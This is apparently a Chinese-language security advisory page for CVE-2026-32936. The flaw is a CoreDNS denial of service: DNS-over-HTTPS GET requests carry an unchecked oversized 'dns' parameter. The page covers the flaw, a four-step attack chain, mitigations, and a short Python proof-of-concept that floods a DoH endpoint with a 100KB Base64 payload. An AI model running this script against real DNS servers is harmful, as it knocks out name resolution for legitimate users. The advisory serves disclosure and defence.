IPBUF安全漏洞报告
English
CVE-2026-32936 CVSS 7.5 高危

CVE-2026-32936 CoreDNS DoH拒绝服务漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-32936
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CoreDNS

相关标签

拒绝服务DoSCoreDNSDoH资源耗尽CVE-2026-32936

漏洞概述

CoreDNS 是一个链式插件的 DNS 服务器。在 1.14.3 版本之前,其 DNS-over-HTTPS (DoH) GET 请求路径存在安全缺陷。该路径在接收请求时,未对 `dns` 查询参数的大小进行验证,直接执行了 URL 解析、Base64 解码和 DNS 消息解包等高消耗操作。与 POST 路径不同,GET 路径缺乏类似 `http.MaxBytesReader` 的边界读取限制。未经身份验证的远程攻击者可利用此漏洞,通过发送特制的超大 DoH GET 请求,强制服务器消耗大量 CPU 资源和内存,增加垃圾回收压力,从而导致服务拒绝。

技术细节

该漏洞的核心在于 CoreDNS 对 DoH 协议 GET 方法的实现逻辑不当。在标准 DoH 交互中,DNS 查询数据通常通过 POST 请求体或 GET 请求参数 `dns` 传递。CoreDNS 在处理 POST 请求时,正确使用了 `http.MaxBytesReader` 将读取限制在 65536 字节以内,防止了资源耗尽。然而,在处理 GET 请求时,代码直接解析 URL 查询字符串中的 `dns` 参数,并在没有任何长度检查的情况下,尝试对该参数值进行 Base64 解码和 DNS 报文解析。攻击者只需构造一个包含超长 Base64 字符串的 `dns` 参数(例如填充大量 'A' 字符),即可诱导服务器在拒绝请求之前进行昂贵的字符串处理和内存分配。由于处理这些数据的计算成本远高于发送请求的成本,攻击者可通过少量请求迅速耗尽服务器资源,造成拒绝服务。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出使用 CoreDNS 且开启了 DoH (DNS-over-HTTPS) GET 接口的目标服务器。
STEP 2
2. 漏洞利用
攻击者构造包含超长 `dns` 查询参数的恶意 HTTP GET 请求,发送给目标服务器的 DoH 端点。
STEP 3
3. 资源耗尽
CoreDNS 接收请求后,尝试对超大参数进行 Base64 解码和解析,导致 CPU 占用率飙升和内存激增。
STEP 4
4. 拒绝服务
由于资源被耗尽,CoreDNS 无法响应正常的 DNS 查询请求,导致 legitimate 用户无法解析域名。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 def trigger_dos(target_url): """ PoC for CVE-2026-32936: CoreDNS DoH DoS via oversized GET parameter. This script sends a large 'dns' parameter to exhaust server resources. """ # Generate a large payload (e.g., 100KB of 'A's) # The vulnerability occurs during the decoding/unpacking phase before size validation. large_data = 'A' * 100000 # Base64 encode the payload as expected by the DoH 'dns' parameter encoded_payload = base64.b64encode(large_data.encode()).decode() # Construct the malicious GET request parameters params = { 'name': 'example.com', 'type': 'A', 'dns': encoded_payload } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed or timed out (Server might be unresponsive): {e}") if __name__ == "__main__": # Replace with the actual target CoreDNS DoH endpoint target = "http://127.0.0.1:8053/dns-query" trigger_dos(target)

影响范围

CoreDNS < 1.14.3

防御指南

临时缓解措施
如果无法立即升级,建议在 CoreDNS 前部署反向代理(如 Nginx 或 Envoy),配置规则以拦截 URL 过长的请求。或者,如果业务允许,临时禁用 DoH 的 GET 方法支持,强制客户端仅使用 POST 方法进行查询。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表